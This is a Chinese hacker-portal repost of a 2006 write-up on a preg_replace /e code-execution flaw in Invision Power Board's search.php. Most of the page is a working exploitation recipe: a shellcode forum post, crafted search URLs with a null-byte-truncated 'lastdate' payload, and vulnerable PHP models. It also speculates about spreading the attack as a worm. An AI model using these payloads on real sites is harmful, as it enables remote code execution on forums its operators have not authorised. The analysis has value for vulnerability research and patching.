|
|
| 首页 | 技术文章 | 软件下载 | 博客 | 论坛 | 精品教程 | 黑客动画 | 视频资源 | 在线服务 | 黑客游戏 | | ||||
|
|
||||||||
|
||||||||
|
|||||
| ipb search.php 漏洞分析及思考 | |||||
作者:未知 文章来源:CnXHacker.Net 点击数: 更新时间:2006-5-7 ![]() |
|||||
|
Author:SuperHei_[At]_ph4nt0m.org Blog:http://superhei.blogbus.com/ Team:http://www.ph4nt0m.org Data: 2006-04-27 ############# ##简单分析### ############# 该漏洞又是一个 preg_replace+/e漏洞,代码在/sources/action_admin/search.php 行1258-1262: if ( $this->ipsclass->input[’lastdate’] ) { $this->output = preg_replace( "#(value=[/"’]{$this->ipsclass->input[’lastdate’]}[/"’])#i", "//1 selected=’selected’", $this->output ); } } 通过变量input[’lastdate’]注入/e, $this->output注入shellcode。 ############# ##利用方法### ############# 注册一个用户,发个贴 内容[shellcode]如下:[ superheixxxxxxxeval(phpinf0()); // 注意最后的;和//之间有一空格 然后点“Search”--->Search by Keywords:superheixxxxxxxeval [记得选择Show results as posts ] 可以得到searchid http://127.0.0.1/ipb215/upload/index.php?act=Search&CODE=show&searchid=81a5a928d500c4653647e5b249ab5f53&search_in=posts&resul t_type=posts&highlite=superheixxxxxxxeval 然后在后面加一个&lastdate=z|eval.*?%20//)%23e%00 也就是[/e]提交就ok了: http://127.0.0.1/ipb215/upload/index.php?act=Search&CODE=show&searchid=81a5a928d500c4653647e5b249ab5f53&search_in=posts&resul t_type=posts&highlite=superheixxxxxxxeval&lastdate=z|eval.*?%20//)%23e%00 ############# ##分析讨论### ############# 1. 简单分析: 该漏洞又是一个 preg_replace+/e漏洞,代码在/sources/action_admin/search.php 行1258-1262: if ( $this->ipsclass->input[’lastdate’] ) { $this->output = preg_replace( "#(value=[/"’]{$this->ipsclass->input[’lastdate’]}[/"’])#i", "//1 selected=’selected’", $this->output ); } } 通过变量input[’lastdate’]注入/e, $this->output注入shellcode。 这个分析,掉了一个重要的细节:preg_replace+/e 里有3个参数,只有第2个参数里的代码才可以执行,但是上面的语句貌似是第3个参数提交 的,其实不然,注意上面preg_replace里的第2个参数://1 selected=’selected’ 里面的//1 为第一参数里正则表达试匹配后的值。归根结底 我们提交的shellcode还是在第2个参数执行了。 2. 注意最后的;和//之间有一空格 这个又是为什么呢?因为我们提交的lastdate=z|eval.*?%20//)%23e%00里是已空格+//为标志的,所以我们提交的shellcode也要有空格+// 3.preg_replace存在null截断漏洞???? 我想这个应该算是php本身一个的漏洞[同以前include的null截断漏洞],我们测试下,把上面的漏洞写个简单的模型: <? $a=$_GET[a]; echo preg_replace("#(value=[/"’]z|eval.*?//)#e{$a}[/"’])#i ","//1 ","heigegegxxxxxxxeval(phpinfo());//"); ?> 我们直接提交http://127.0.0.1/test2.php?a=2出现错误: Warning: Unknown modifier ’2’ in d:/easyphp/www/test2.php on line 3 提交http://127.0.0.1/test2.php?a=%002 则执行phpinfo(). 我们成功截断了。模型代码执行环境要求gpc=off ,但是在很多的web程序里是 经过变量编码和解码在执行的,所以不受gpc的影响,上面的ipb的就可以在gpc=on的情况下截断。 4."lastdate=z|eval.*?%20//)%23e%00"的构造 主要是在this->output里以eval和%20//为标志取//1 为执行的php代码。 5.worm的利用? 还记得Santy吗?就是利用的phpbb里的一个preg_replace,这里会会被利用呢?ipb这个漏洞的利用必须要登陆,但是在ipb注册时候有“图片 认证”,不过据说这个可以编写程序读出来?? 只要突破这个worm是有可能的,毕竟ipb的用户有那么多...... ############# ##总结模型### ############# 1.直接在preg_replace第2个变量执行的模式: <? echo preg_replace("/test/e",$h,"jutst test"); ?> 提交http://127.0.0.1/test/11/preg.php?h=phpinfo() 实例如:phpbb的viewtopic.php变量$highliht_match提交php代码执行漏洞 2.通过//1[或者//n]提取第3个变量里的php代码并执行的模式: <? echo preg_replace("//s*/[php/](.+?)/[//php/]/s*/ies", "//1", $h); ?> 提交:http://127.0.0.1/test/11/preg.php?h=[php]phpinfo()[/php] 参考: r57的exp:http://www.milw0rm.com/exploits/1720 更多资料:http://www.google.com |
|||||
| 文章录入:IceRiver 责任编辑:IceRiver | |||||
| 【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 | |||||
| 最新热点 | 最新推荐 | 相关文章 | ||
| 跟你分析筛选 IPS 之八大定律 快速了解关于IDS和IPS的安全 webshell下分离大文件资料 Thomson SpeedTouch 2030 SI iPhone“越狱” 中国黑客逼得 VoIP漏洞成黑客远程窃听设备 Cisco 7940 Phone SIP 消息远 思科IP电话发现新安全漏洞 iPhone遭美17岁少年解锁 黑客 美国高中生破解iPhone 移植到 |
网友评论:(只显示最新5条。评论内容只代表网友观点,与本站立场无关!) |
| 关于我们 - 版权声明 - 帮助(?) - 广告服务 - 联系我们 - 友情链接 - 用户注册 - | Powered by ICE RIVER - STUDIO |
| » CnXHacker.CoM | © CopyRight 2002-2006, CnXHacker.CoM™, Inc. All Rights Reserved. |